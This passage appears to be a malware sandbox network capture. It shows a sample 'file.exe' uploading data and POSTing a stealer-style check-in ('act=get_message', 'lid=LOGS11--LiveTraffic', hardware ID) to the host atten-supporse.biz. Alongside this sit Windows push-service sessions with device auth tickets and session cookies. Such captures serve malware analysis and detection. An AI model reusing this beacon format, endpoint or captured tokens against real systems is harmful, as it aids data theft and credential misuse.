2024-12-10 05:38:18 UTC	15331	OUT	Data Raw: 5c 62 6c 53 d6 29 16 5e 41 4d 7f ce ac 14 e5 be 9a 4c a2 48 69 6b fc 12 d5 2e 48 e0 44 77 7d 9b 37 b6 0c b6 14 04 6b 73 35 5b 0d 5e 59 6e 69 55 26 a1 14 21 e0 24 a5 6d bb f8 01 c2 41 f4 9e ff 5b 11 1a be e3 d7 15 7e fa 50 97 ac 51 7e d5 fa 8e 63 a5 6e e7 27 04 16 b6 0a 31 21 d6 c4 cd 06 b2 2e 1e 5b 04 ef 54 9e 33 c5 45 c6 68 5e 23 12 9b 5a 19 f7 60 bf 5b 1c 68 ff df 5a 41 59 09 14 f7 7d a2 51 c0 18 ad 0a 51 03 cf d0 5d e0 84 48 2a df f6 b7 31 5a 0a 6f f2 7e 24 e5 f1 14 7e f4 35 d6 26 33 fd 29 3c 1c 02 39 f9 f8 2f 22 ac 12 c0 f8 c1 f8 36 48 0e 7c a3 c0 87 58 8b ab 9e 7a 40 f8 c1 2c 10 b3 a7 96 34 9b 5b 11 82 cf 97 45 a3 0b b9 32 17 e2 06 d4 d3 b0 0c 02 c2 ad 2b a8 cc 8b 26 e7 18 6a 80 4a 64 cc a0 8b 1f 39 cb f0 ee 1b 3c 57 98 84 42 9a ef ee 53 42 ff f6 c4 Data Ascii: \blS)^AMLHik.HDw}7ks5[^YniU&!$mA[~PQ~cn'1!.[T3Eh^#Z`[hZAY}QQ]H*1Zo~$~5&3)<9/"6H\|Xz@,4[E2+&jJd9<WBSB
2024-12-10 05:38:18 UTC	15331	OUT	Data Raw: 3c 51 62 93 e0 b3 6d c7 cc fc 50 7d d7 79 0a 6e a6 8a fa 47 c8 6c d7 d0 ad 17 76 85 06 ec 3c 73 6c 10 17 35 2c fa fb 75 24 b6 89 c7 61 bd 12 c2 75 f7 31 d2 c4 83 c1 0f 68 e1 d0 98 55 32 b7 61 8a 0c 17 07 63 8e 0b ef 62 b1 0c e6 73 be 79 d1 bf 07 f2 e0 d3 b9 35 9c f7 22 4b 59 f6 89 54 0d 5d a5 44 6f ba ac cd 57 03 6e 89 ef 2d 59 61 89 0a bd 8f 6d 6f 5b 2d f2 e1 74 7f 71 93 8b bc 3b 89 fb b9 e1 73 73 71 23 7a a9 4d 5e a1 ba 76 bb 68 db eb 24 f1 e3 01 75 7c 24 15 f8 47 04 ab f2 2a be 96 61 74 88 d8 d2 4c 1a a3 b4 2b 73 89 05 7c b8 fe 8b 2e 86 fe a4 9b 10 8e 2a e3 e0 9f ed ec 14 83 15 b2 35 b2 94 cc 21 6a e6 3a b5 4d bc c6 07 ed 03 44 44 a0 8b b8 7c e4 94 52 7b 2a b6 77 55 b6 3f 62 bb ec 41 c0 e2 c4 2e fa 69 24 13 c5 18 b9 a6 b1 5f 82 f8 fd b9 75 de 89 42 d5 Data Ascii: <QbmP}ynGlv<sl5,u$au1hU2acbsy5"KYT]DoWn-Yamo[-tq;ssq#zM^vh$u\|$GatL+s\|.5!j:MDD\|R{*wU?bA.i$_uB
2024-12-10 05:38:18 UTC	15331	OUT	Data Raw: e8 e5 b1 01 a5 b1 fe 07 27 1d 5d e0 45 67 95 c8 a9 46 8a b9 4b b1 ba 6b b4 fa 70 eb d6 0b 5e d0 b8 aa 65 ef 76 b9 c8 bd ef 89 8c 74 2b 8b 07 11 a3 55 f7 f7 47 ae e4 11 ee f4 6d ec a9 0d aa b6 d9 83 e9 57 b7 c7 93 12 d9 f8 1a 73 06 91 4b 82 c9 79 90 f8 31 65 95 92 7d 1a a9 6a 39 4d 96 62 22 22 4b bb b6 35 3a ed 50 8b d6 96 6f 5d a2 6a 35 aa 24 24 35 5b 91 6b 28 2c b2 3c 7d 54 9c 12 84 16 4a 1a f1 71 a5 72 51 91 09 dc aa ef 8e f8 83 5e a2 db 78 42 1a 93 b6 3d 87 a5 9f 76 d3 3e 51 f9 e7 5a f2 01 38 54 94 27 2b 3d a7 34 b2 e0 16 1a d1 81 86 97 ba ff 53 7a c6 60 8b 2e f3 f3 de 1b 23 ba 20 55 89 60 f4 ff 36 80 ad 5b b3 7a e5 40 fb 83 ca 13 ff 5c 52 91 dc a4 f9 c2 16 f5 4e c8 f0 fa 25 55 5d 0c b3 d8 8a ae c5 06 2c 56 d6 cd f7 d8 10 ea e0 06 01 b7 68 28 06 87 12 Data Ascii: ']EgFKkp^evt+UGmWsKy1e}j9Mb""K5:Po]j5$$5[k(,<}TJqrQ^xB=v>QZ8T'+=4Sz`.# U`6[z@\RN%U],Vh(
2024-12-10 05:38:18 UTC	15331	OUT	Data Raw: fd ae 12 b7 2a 53 7a 47 b2 d2 d1 30 2a 1c 75 2d 9a 2e cb 0d 4c 13 d6 e1 e8 6f 5f b3 bf 95 d1 03 c1 99 70 de 20 53 34 49 bf 11 7a 66 dd 32 d3 5a 8d ed 57 4f c2 53 0b 37 fd 52 d9 b7 ec 08 ac f1 5b 12 bb 54 65 29 ec d6 f7 58 36 f6 96 5a 80 0d 1c 81 8a 44 c1 ca 5f 36 e5 1c 27 5d 50 0b 73 18 f8 99 3a 9f d8 f7 3d c3 0b 1a 30 ba 61 bd 81 70 02 34 3c 84 f7 ed ba 7a 37 b7 76 3d 98 fd d7 a6 86 4f 46 fa 1a 99 69 12 b6 0d 8e a6 ec fa 6f ca 7d d5 ce 61 77 81 fd 73 5d 72 a4 65 37 22 f5 d7 3c 2c 81 e8 3c de 12 17 5a 63 99 ef e2 84 83 86 9d b1 24 37 06 1c be e7 60 e3 a2 48 47 ff d7 97 4a 29 5c 6d fc 9b 1d d4 34 a5 94 7f ad b6 0d 54 06 f2 c7 cc 33 dd c2 fb 7c 90 2d b5 65 68 6c df 3f d4 ac fd b1 3f 49 8d 21 2b e9 11 89 b4 d6 fd 61 01 3b dc 61 8a 8a cc 0b 17 7b b5 f0 c0 c9 Data Ascii: SzG0u-.Lo_p S4Izf2ZWOS7R[Te)X6ZD_6']Ps:=0ap4<z7v=OFio}aws]re7"<,<Zc$7`HGJ)\m4T3\|-ehl??I!+a;a{
2024-12-10 05:38:21 UTC	1027	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 05:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=70c00gi14h5rj26dd6ikm950r6; expires=Fri, 04-Apr-2025 23:24:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0qw2T0Sekh%2F0%2B1B3X6tOGEz6HCzqpluGA2fBNbUxLXE5bxy6OEM06F0LRRAc3ZSnX0pdXZ5mXwHvz06xwaCpfsafkWhF7aIr7%2BhsjkBcsKJXvwdUdaj%2BPT%2BAMMwDAFplIj1HtRE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efae351a866433d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1588&min_rtt=1584&rtt_var=602&sent=314&recv=576&lost=0&retrans=0&sent_bytes=2847&recv_bytes=554105&delivery_rate=1806930&cwnd=252&unsent_bytes=0&cid=8dcd60bc62691b9e&ts=3618&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49741	104.21.112.1	443	6228	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:23 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-10 05:38:23 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 30 31 34 34 32 30 44 41 46 34 35 34 44 36 38 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=014420DAF454D68D23D904AF30EFEBBC
2024-12-10 05:38:23 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 05:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2toh0cnffkbeiv05vpnt51ifu0; expires=Fri, 04-Apr-2025 23:25:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ay3V3hCZ%2F0q5yPYhtfZCq0cVO5xOgEEgEP5Go7ZzEwOgjdyAzY5GjPdLVITL4CSIDDq%2B4F2IFAaGbcGnSmHqhAbEvaSLYO%2BOz3PCRaHQEhny%2B8oeKNQTQblYAEFmKwipFagRp60%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efae370ce718cd6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1996&min_rtt=1973&rtt_var=786&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1353732&cwnd=165&unsent_bytes=0&cid=f9f11722c0d3d2a9&ts=727&x=0"
2024-12-10 05:38:23 UTC	214	IN	Data Raw: 64 30 0d 0a 65 63 74 75 6a 42 44 37 43 6d 37 51 44 53 35 30 47 75 58 31 47 6e 78 39 46 4b 64 4f 30 2f 57 6c 69 68 48 56 36 4f 47 61 4b 2b 59 69 73 45 7a 35 4d 73 45 6f 42 71 52 35 58 6b 35 47 79 71 6b 31 54 55 55 68 69 58 7a 69 77 49 75 37 49 4f 62 47 30 4b 78 33 79 52 61 74 43 4e 41 2f 6e 32 38 49 2f 6d 68 57 45 54 6a 4a 31 33 77 49 58 79 36 58 59 76 47 51 68 37 41 67 71 4d 53 61 75 46 37 45 51 2b 6b 47 2b 47 53 4c 4d 44 4c 2f 55 51 46 46 49 74 44 62 4b 45 31 49 4f 70 5a 2f 34 4e 75 55 76 45 33 36 6d 35 58 2f 53 6f 73 6c 35 42 7a 74 66 70 39 6c 41 2f 35 6f 56 68 45 34 79 64 64 38 43 46 38 75 6c 32 4c 78 6b 49 65 77 49 61 69 31 0d 0a Data Ascii: d0ectujBD7Cm7QDS50GuX1Gnx9FKdO0/WlihHV6OGaK+YisEz5MsEoBqR5Xk5Gyqk1TUUhiXziwIu7IObG0Kx3yRatCNA/n28I/mhWETjJ13wIXy6XYvGQh7AgqMSauF7EQ+kG+GSLMDL/UQFFItDbKE1IOpZ/4NuUvE36m5X/Sosl5Bztfp9lA/5oVhE4ydd8CF8ul2LxkIewIai1
2024-12-10 05:38:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49758	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:29 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4c 43 6f 37 4b 71 43 41 56 45 57 64 46 72 55 35 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 38 64 30 31 66 66 35 39 35 32 37 37 31 31 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: LCo7KqCAVEWdFrU5.1Context: 88d01ff59527711e
2024-12-10 05:38:29 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 05:38:29 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4c 43 6f 37 4b 71 43 41 56 45 57 64 46 72 55 35 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 38 64 30 31 66 66 35 39 35 32 37 37 31 31 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 34 67 4a 59 77 59 34 45 59 34 31 54 63 37 6f 44 46 66 66 66 6b 58 6f 59 50 44 35 66 7a 77 75 2f 44 44 66 79 32 62 32 71 66 45 32 41 2b 42 54 32 6a 73 4c 62 31 50 4a 78 6b 71 43 6f 68 50 69 6b 65 6f 43 6b 70 69 61 42 50 72 6d 67 79 62 76 56 32 34 34 71 79 58 78 4d 38 65 6e 39 5a 33 46 58 6a 58 63 72 43 6f 76 4a 72 67 51 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: LCo7KqCAVEWdFrU5.2Context: 88d01ff59527711e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT4gJYwY4EY41Tc7oDFfffkXoYPD5fzwu/DDfy2b2qfE2A+BT2jsLb1PJxkqCohPikeoCkpiaBPrmgybvV244qyXxM8en9Z3FXjXcrCovJrgQ4
2024-12-10 05:38:29 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4c 43 6f 37 4b 71 43 41 56 45 57 64 46 72 55 35 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 38 64 30 31 66 66 35 39 35 32 37 37 31 31 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: LCo7KqCAVEWdFrU5.3Context: 88d01ff59527711e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 05:38:30 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 05:38:30 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6a 47 6e 75 79 4b 41 72 38 45 32 36 54 2b 2b 74 6c 65 65 4c 4c 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: jGnuyKAr8E26T++tleeLLA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49803	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:43 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 42 38 35 55 47 75 78 67 31 55 43 44 43 69 53 76 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 32 39 30 66 66 39 63 35 64 61 62 33 32 63 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: B85UGuxg1UCDCiSv.1Context: 5290ff9c5dab32cc
2024-12-10 05:38:43 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 05:38:43 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 42 38 35 55 47 75 78 67 31 55 43 44 43 69 53 76 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 32 39 30 66 66 39 63 35 64 61 62 33 32 63 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 34 67 4a 59 77 59 34 45 59 34 31 54 63 37 6f 44 46 66 66 66 6b 58 6f 59 50 44 35 66 7a 77 75 2f 44 44 66 79 32 62 32 71 66 45 32 41 2b 42 54 32 6a 73 4c 62 31 50 4a 78 6b 71 43 6f 68 50 69 6b 65 6f 43 6b 70 69 61 42 50 72 6d 67 79 62 76 56 32 34 34 71 79 58 78 4d 38 65 6e 39 5a 33 46 58 6a 58 63 72 43 6f 76 4a 72 67 51 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: B85UGuxg1UCDCiSv.2Context: 5290ff9c5dab32cc<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT4gJYwY4EY41Tc7oDFfffkXoYPD5fzwu/DDfy2b2qfE2A+BT2jsLb1PJxkqCohPikeoCkpiaBPrmgybvV244qyXxM8en9Z3FXjXcrCovJrgQ4
2024-12-10 05:38:43 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 42 38 35 55 47 75 78 67 31 55 43 44 43 69 53 76 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 32 39 30 66 66 39 63 35 64 61 62 33 32 63 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: B85UGuxg1UCDCiSv.3Context: 5290ff9c5dab32cc<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 05:38:44 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 05:38:44 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 31 4c 57 55 6a 43 75 4a 67 6b 65 69 46 38 6b 6f 76 43 63 69 42 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 1LWUjCuJgkeiF8kovCciBQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49901	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:39:04 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 44 69 55 35 54 71 52 47 6b 30 32 62 54 35 65 66 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 63 61 65 34 31 32 37 33 37 62 65 33 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: DiU5TqRGk02bT5ef.1Context: 11cae412737be3c
2024-12-10 05:39:04 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 05:39:04 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 44 69 55 35 54 71 52 47 6b 30 32 62 54 35 65 66 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 63 61 65 34 31 32 37 33 37 62 65 33 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 34 67 4a 59 77 59 34 45 59 34 31 54 63 37 6f 44 46 66 66 66 6b 58 6f 59 50 44 35 66 7a 77 75 2f 44 44 66 79 32 62 32 71 66 45 32 41 2b 42 54 32 6a 73 4c 62 31 50 4a 78 6b 71 43 6f 68 50 69 6b 65 6f 43 6b 70 69 61 42 50 72 6d 67 79 62 76 56 32 34 34 71 79 58 78 4d 38 65 6e 39 5a 33 46 58 6a 58 63 72 43 6f 76 4a 72 67 51 34 59 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: DiU5TqRGk02bT5ef.2Context: 11cae412737be3c<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT4gJYwY4EY41Tc7oDFfffkXoYPD5fzwu/DDfy2b2qfE2A+BT2jsLb1PJxkqCohPikeoCkpiaBPrmgybvV244qyXxM8en9Z3FXjXcrCovJrgQ4Y
2024-12-10 05:39:04 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 44 69 55 35 54 71 52 47 6b 30 32 62 54 35 65 66 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 63 61 65 34 31 32 37 33 37 62 65 33 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: DiU5TqRGk02bT5ef.3Context: 11cae412737be3c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 05:39:04 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 05:39:04 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 44 52 36 79 7a 33 70 72 4f 6b 61 73 63 31 74 6f 79 61 63 77 72 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: DR6yz3prOkasc1toyacwrA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49967	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:39:30 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 33 69 46 4d 57 4f 6d 4f 48 6b 61 30 63 74 6f 4b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 34 34 36 38 36 33 34 39 36 35 63 64 64 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 3iFMWOmOHka0ctoK.1Context: c54468634965cddd
